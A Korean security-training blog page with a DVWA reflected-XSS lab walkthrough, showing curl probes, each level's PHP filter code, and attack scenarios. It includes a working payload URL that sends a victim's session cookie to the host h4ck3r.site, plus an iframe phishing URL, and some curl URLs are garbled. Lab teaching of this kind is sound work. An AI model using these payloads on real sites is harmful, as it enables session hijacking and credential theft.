홈페이지 취약점 분석 이야기 | 파일 지도 사진 깨알 |
---|
• 웹 해킹 훈련장 172.16.15.116 40080/tcp 대상 공개용 도구 기반의 홈페이지 취약점 점검 실습 (20200507) • Kali Linux 2020.1b 64bit 설치 설명서 (MS 윈도우 10, VMware 플레이어) (20200325) • VirtualBox 가상머신으로 GSM CE 6.0.2 설치 설명서 (OpenVAS) (20200125) • Kali Linux 2019.4 64bit Light 배포판 설치 설명서 (권장) (20191202) • Kali Linux 2019.3 64bit Large 배포판 설치 및 한글 설정 설명서 (20191129) • [과제] WH-MissAuth-1 웹해킹훈련장: 접속자 권한인증 후 출력 제어 취약점 (20180619) • [과제] WH-WebEditor-SE2 웹해킹훈련장: 취약한 PHP 버전에서 원래 파일이름을 저장하는 웹에디터의 취약점을 이용한 시스템 침투 (20170827) • [과제] WH-FILEDOWN-01 웹해킹훈련장: 파일다운로드로 서버침투 (20170810) • [과제] WH-COOKIE-02 웹해킹훈련장: 쿠키 오용 취약점 (20170809) • Apache Tomcat /manager/html 무작위대입공격 도구 작성 - PHP (20170721) • 칼리 리눅스를 이용한 From SQL Injection to Shell 공략 (20170404) • 단순한 방어법(../ 제거)의 파일 다운로드 취약점 진단 사례 (20170329) • WH-WebEditor-CH 라이브 ISO: 이미지 검증 기능을 우회하여 PHP 웹쉘 생성 (20170130) • 오늘의 웹서버 공격 로그: MySQL 관리 인터페이스 자동탐색 도구 - Jorgee Scanner (20170125) • WH-WebEditor-GM 라이브 ISO: 이미지 검증 기능을 우회하여 PHP 웹쉘 생성 (20170123) • 오늘의 웹서버 공격 로그: Apache ProxyAbuse 탐지 시도 (20170122) • 오늘의 웹서버 공격 로그: Bash 쉘쇼크 취약점을 이용한 Perl Ircbot 삽입 시도 (20170122) • 오늘의 웹서버 공격 로그: phpMyAdmin 취약점 자동탐색 도구 - ZmEu Scanner (20170121) • 오늘의 웹서버 공격 로그: 워드프레스 취약점 자동탐색 도구 (20170118) • WH-PathTrav-01 라이브 ISO: 파일 다운로드 취약점으로 서버 침투 (20170116) • WH-Webshell-Loc-01 라이브 ISO: 서버 내 웹쉘 저장경로 알아내기 (20170114) • WH-ImgShell-01 라이브 ISO: 이미지에 덧붙인 웹쉘 취약점 웹해킹훈련장 (20170113) • SSH 무작위 대입 공격으로 root권한을 탈취한 침해사고 사례 (20170112) • WH-IllInst-WordPress 워드프레스 웹해킹훈련장 소개 (20170110) • WH-IllInst-WordPress 워드프레스 웹해킹훈련장 실습 설명서 (20170110) • MSSQL과 MySQL의 SQL구문삽입을 이용한 OS 명령어 실행 (20170109) • WH-CommInj-01 원격 운영체제 명령어 삽입 취약점 훈련장(라이브 ISO) 소개 및 실습 설명서 (20170106) • WH-Deface-01 기능별 권한인증 취약점 훈련장(라이브 ISO) 소개 (20170104) • WH-Deface-01 웹해킹훈련장 실습 설명서 (20170104) • WH-Account-01 회원가입 취약점 훈련장(라이브 ISO) 소개 (20170102) • WH-Account-01 웹해킹훈련장 실습 설명서 (20170103) • WH-Account-02 회원정보수정 취약점 훈련장(라이브 ISO) 소개 (20170103) • WH-Account-02 웹해킹훈련장 실습 설명서 (20170104) • 저장형 XSS 공격을 이용한 홈페이지위변조 공격 사례 (20161231) • 로그인한 상태에서 웹취약점스캐너의 자동점검 위험성 (20161228) • DBMS Fingerprinting (데이터베이스 관리시스템 탐지) (20161222) • FCKeditor를 대상으로 한 자동화 공격툴의 침해사례 (20161220) • 이중 서버스크립트 혼용을 이용한 웹방화벽/확장자검증 우회 (실제 사례) (20161219) • HTTP/HTTPS 혼용에 따른 관리자로그인 페이지 접근 우회 (실제 사례) (20161214) • 경로재지정 취약점: 자바스크립트를 이용한 검증과 그 우회, 그리고 XSS (실제 사례) (20161214) • 웹해킹 사례: 유명 홈페이지를 악성코드 배포 경유지로... (20161213) • HTML 삽입, XSS 공격 탐지방법 (20161211) • 오늘의 웹서버 공격 로그, Axis2, 공개프록시 (20161210) • 오늘의 웹서버 공격 로그, XML-RPC, Open Proxy (20161208) • nikto와 owasp-zap 연동 (20161206) • 미라이 IoT DDoS 봇넷이 사용한 61개 비밀번호 (20161205) • 오늘의 웹서버 공격 로그, SOAP 원격코드실행, D-Link 명령어 삽입, muieblackcat (20161205) • 오늘의 웹서버 공격 로그, w00tw00t (DFind) (20161204) • 기억하기 쉽고 안전한 비밀번호 만들기 (20161203) • 2016.12.01-02 웹서버 공격 로그, armgg DDoS 악성코드 (20161202) • KISA의 랜섬웨어 예방 수칙 (20161202) • WH-DVWA-1.9 Damn Vulnerable Web App 웹해킹훈련장 (20161201) • DVWA Brute Force 실습 설명서 (20161205) • DVWA Command Injection 실습 설명서 (20161207) • DVWA CSRF (low, high level) 실습 설명서 (20161208) • DVWA File Inclusion 실습 설명서 (20161215) • DVWA File Upload 실습 설명서 (20161221) • DVWA SQL Injection (low, medium, high level) 실습 설명서 (20161224) • DVWA SQL Injection medium level - OWASP-ZAP과 sqlmap 실습 설명서 (20161222) • DVWA Blind SQLi (high level) 수동점검을 통한 '눈먼'SQL 구문삽입의 이해 (20161227) • DVWA Blind SQL Injection (low, medium level) sqlmap 실습 설명서 (20161226) • DVWA Reflected Cross Site Scripting (XSS) 실습 설명서 (20161227) • DVWA Stored Cross Site Scripting (XSS) 실습 설명서 (20170101) • SVG 이미지의 ECMAscript를 이용한 악성코드 배포 (20161201) • WH-WebGoat-7.0.1 웹해킹훈련장 라이브 ISO (20161130) • WebGoat: Bypass a Path Based Access Control Scheme (20161207) • WebGoat, LAB: DOM-Based cross-site scripting (20161208) • WebGoat, Authentication Flaws: Multi Level Login 2 (20161209) • WebGoat, Code Quality: Discover Clues in the HTML (20161210) • WebGoat XSS: Phishing with XSS (20161211) • WebGoat: OS Command Injection (20161215) • WebGoat: Numeric SQL Injection (20161216) • WebGoat: String SQL Injection (UNION기반 SQL 구문삽입의 이해) (20161217) • WebGoat: Blind Numeric SQL Injection (추리기반 SQL 구문삽입의 이해) (20161218) • 2016.11.30 웹서버 공격 로그 (20161130) • OWASP TOP 10 (2013) 문서의 각종 해킹 시나리오 모음 (20161129) • WH-LFI-01: 널바이트삽입과 내부파일실행 웹해킹훈련장 (20161126) • WH-LFI-01 웹해킹훈련장의 취약점 분석 결과보고서 (20161128) • 인터넷(Internet)과 보안에 대해 짧게 생각해보다 (20161125) • PHP Easter Egg의 이해와 조치방안 (20161125) • WH-COOKIE-01: 잘못된 쿠키 사용 사례를 보여주는 웹해킹훈련장 (20161124) • WH-COOKIE-01 웹해킹훈련장 홈페이지 취약점분석 결과보고서 (20161126) • 웹해킹 공격/방어 일람 (20161121) • webhack.dynu.net 문자배너 만들기 - toilet (20161121) • MIME 형식의 보안위협 완화: X-Content-Type-Options 헤더 (20161120) • X-XSS-Protection헤더 시험 페이지 (20161119) • 방화벽을 노리는 블랙너스(Black Nurse) DoS 공격 (20161118) • 클릭재킹 방지를 위한 X-Frame-Options 헤더 (20161117) • X-Frame-Options헤더 시험 페이지 (20161118) • 공시생 성적조작 사건, 물리보안과 정보보안 (20161117) • ID/PW 평문전송, 정말 그렇게 큰 취약점인가? (20161116) • [웹해킹훈련장] 취약한 비밀번호: WH-weak-root-pw 실습 설명서 (20161116) • weak-root-pw 훈련장 웹취약점 분석 보고서 (20161117) • 슬리타즈 리눅스 4.0 설치와 웹해킹훈련장 Live ISO 만들기 (20161115) • 버추얼박스 가상머신에서 Tails OS 설치 (20161114) • Kali Linux에 Tor Browser 설치하기 (20161114) • 인터넷익명성 - VPN과 Tor (20161114) • Kali Linux, open-vm-tools, Shared Folder (20161113) • SSL Strip 공격과 HSTS (20161112) • 모든 꼬리표 모아보기(태그 클라우드) (20161111) • HTTP 세션 탈취와 IP보안 (20161111) • HTTP TRACE method와 XST 공격 (20161111) • 세션쿠키와 HttpOnly (20161110) • HTTP 메소드 수동점검 방법 (20161110) • 파일업로드(웹쉘) 방어하기 (20161109) • 파일다운로드/경로조작 방어하기 (20161109) • XSS, SQL Injection 방어하기 (20161109) • 길찾기(sitemap) (20161109) • 웹취약성분석 관련 파일 목록 (20161108) • SQL 인젝션 공격도구 sqlmap의 간단한 사용법 (20161107) • 웹취약점 분석 도구로서의 THC Hydra (20161107) • 웹취약점 분석 도구로서의 cURL (20161107) • [웹해킹훈련장] CVE-2014-6271: Bash Shellshock 실습 설명서 (20161104) • [PentesterLab] CVE-2014-6271 Shellshock 훈련장 웹취약점 분석 보고서 (20161106) • 무료 웹해킹 교육장 목록 (20161103) • 칼리 리눅스(Kali Linux) 설치 (20161030) • 가상머신 버추얼 박스(VirtualBox) 설치 (20161029) • 가상머신 VMWare Workstation Player 설치 (20161028) • [웹해킹훈련장] Drunk Admin Web Hacking Challenge 실습 설명서 (20161027) • 스마트에디터(SmartEditor) 2.0 Basic의 웹쉘 업로드 취약점 (20160719) |
<< 목록숨기기 DVWA: Reflected XSS (low, medium, high level) 공략DVWA(Damn Vulnerable Web Application) 1.9 훈련장 라이브 ISO는 다음에서 다운로드 받을 수 있다. DVWA 1.9 훈련장 라이브 ISO를 구동하는 방법은 다음 문서에서 볼 수 있다.
여기서는 구동 후 DVWA 훈련장의 주소가
HTTP 통신을 확인하기 위해서 Firefox 환경설정에서 OWASP-ZAP을 HTTP 프록시로 연결하는 것이 좋다. XSS 취약점은 사용자의 입력을 HTML에 출력하는 부분에서 발생한다. 기본적으로 자바스크립트 삽입이 가능한 지 점검하는 방법은 HTML 삽입 취약점 탐지방법 문서에서 살펴볼 수 있다. 기초조사: 부등호 문자 방어기작 확인
DVWA: XSS (Reflected)의 각 보안수준 문제에서 부등호(<, >)를 어떻게 처리하는 지
root@kali:~# curl --cookie "PHPSESSID=ndnl8peb1lrk880lcrpp0iras1; security=low" "http://192.168.189lnerabilities/xss_r/?name=LT%3C0oooo%3EGT" 2> /dev/null | grep 0oooo <pre>Hello LT<0oooo>GT</pre> root@kali:~#
root@kali:~# curl --cookie "PHPSESSID=ndnl8peb1lrk880lcrpp0iras1; security=medium" "http://192.168.189lnerabilities/xss_r/?name=LT%3C0oooo%3EGT" 2> /dev/null | grep 0oooo <pre>Hello LT<0oooo>GT</pre> root@kali:~#
root@kali:~# curl --cookie "PHPSESSID=ndnl8peb1lrk880lcrpp0iras1; security=high" "http://192.168.189lnerabilities/xss_r/?name=LT%3C0oooo%3EGT" 2> /dev/null | grep 0oooo <pre>Hello LT<0oooo>GT</pre> root@kali:~#
root@kali:~# curl --cookie "PHPSESSID=ndnl8peb1lrk880lcrpp0iras1; security=impossible" "http://192.168.189.246/vulnerabilities/xss_r/?name=LT%3C0oooo%3EGT&user_token=dceb831357eabff2d157911523b2d67f" 2> /dev/null | grep 0oooo <pre>Hello LT<0oooo>GT</pre> root@kali:~#
네 경우 모두 Vulnerability: 반사형 XSS (low level) 실습 설명Vulnerability: Reflected Cross Site Scripting (XSS) low level에서는 사용자의 입력을 그대로 출력한다. PHP 소스코드를 살펴보자. // Feedback for end user echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
GET 방식으로 전달되는
위의 그림은 Vulnerability: 반사형 XSS (medium level) 실습 설명Medium level의 PHP 소스 코드를 살펴보자. // Get input $name = str_replace( '<script>', '', $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>";
PHP의
Vulnerability: 반사형 XSS (high level) 실습 설명High level에서의 HTML 삽입 방어기작을 살펴보자. 관련 PHP 소스는 다음과 같다. // Get input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>";
PHP의
그런데 자바스크립트를 삽입할 수 있는 방법이 너무나 많다는 것이 문제다. OWASP의 XSS 방어 우회법(XSS Filter Evasion Cheat Sheet)을 살펴보면 너무나 많은 방법이 있다.
XSS 방어 우회의 대표적인 방법으로 Vulnerability: 반사형 XSS (impossible level) 실습 설명이제 HTML삽입이 불가능한 impossible level의 PHP 소스코드를 살펴보자. // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $name = htmlspecialchars( $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>";
GET 방식으로 전달된
참고로,
위의 그림은 impossible level에서
위 그림은 impossible level에서의 HTML 소스를 열람한 것이다.
GET의
특수한 상황에서는 공격 시나리오 - 세션탈취
세션 쿠키를 빼내면 피해자의 권한을 탈취할 수 있다.
DVWA: Reflected XSS (low level)을 이용한 세션쿠키 탈취 시나리오를 생각해보자.
공격자는 취약점을 파악하고 http://192.168.189.246/vulnerabilities/xss_r/?name=%3Cimg+width%3D%220%22+height%3D%220%22+src%3D%22x%22+onerror%3D%22document.location%3D%27http%3A%2F%2Fh4ck3r.site%2Flog_cookie.cgi%3Fcookie%3D%27%2Bdocument.cookie%22%3E 공격자는 관리자의 웹메일 계정으로 위의 URL을 보낸다. 관리자가 관심을 가질만한 내용의 메일이지만 실제로는 위의 URL이 <iframe>에 은닉되어 있을 것이다. 관리자는 피해 사이트에 5분 전까지 관리자로 접속했다가 해당 탭을 껐다. 웹브라우저를 종료하지는 않았다. 그리고 같은 웹브라우저에서 공격자가 보낸 웹메일을 읽는다. 공격자가 <iframe>에 숨긴 위의 URL이 실행된다. 관리자는 눈치채지 못한다. http://h4ck3r.site/log_cookie.cgi?cookie=PHPSESSID=ndnl8peb1lrk880lcrpp0iras1;%20security=low <iframe>에 은닉한 URL은 자바스크립트를 통해 웹브라우저가 위의 URL로 접속하게 한다. 공격자의 서버로 관리자의 세션 키가 전송된다.
공격자는 자신의 서버로 전달된
일반적으로 쿠키는 유효기간을 정하지 않는 경우가 많다.
이러한 경우에는 웹 브라우저를 완전히 종료하지 않는 한, 웹 브라우저는 쿠키를 계속 저장하고 있다.
이 시나리오에서, 관리자는 관리자 페이지 공격 시나리오 - 피싱(Phishing)세션 쿠키에 대해서 HttpOnly가 설정된 경우에는 XSS를 이용한 세션탈취가 어렵다. 이런 경우에는 HTML삽입을 통해 피싱(Phishing)을 시도할 수 있다. 공격자는 외부 URL을 <iframe>에 삽입할 수 있도록 다음과 같은 URL을 준비한다. http://192.168.189.246/vulnerabilities/xss_r/?name=You+need+to+login+to+use+this+page.%3Cbr%3E%3C%2Fpre%3E%3Ciframe+width%3D600+height%3D400+src%3D%22http%3A%2F%2Fwww.daum.net%22%3E%3C%2Fiframe%3E#
위의 URL에서
메일이나 질의응답 게시판 등을 이용하여 관리자가 공격자의 URL에 접근하게 유인한다. 이때 관리자는 위와 같은 화면을 보게 된다. 만약 http://www.daum.net이 공격자가 매우 정교하게 만든 관리자 로그인 페이지라면 관리자가 ID/PW를 입력할 가능성이 있다. 관리자가 부주의하게 ID/PW를 입력했다면 공격자의 서버에 계정정보가 저장된다. [처음 작성한 날: 2016.12.27] [마지막으로 고친 날: 2016.12.27] < 이전 글 : DVWA Blind SQL Injection (low, medium level) sqlmap 실습 설명서 (2016.12.26) > 다음 글 : DVWA Stored Cross Site Scripting (XSS) 실습 설명서 (2017.01.01) 이 저작물은 크리에이티브 커먼즈 저작자표시 4.0 국제 라이선스에 따라 이용할 수 있습니다. 잘못된 내용, 오탈자 및 기타 문의사항은 j1n5uk{at}daum.net으로 연락주시기 바랍니다. 문서의 시작으로 컴퓨터 깨알지식 웹핵 누리집 대문 |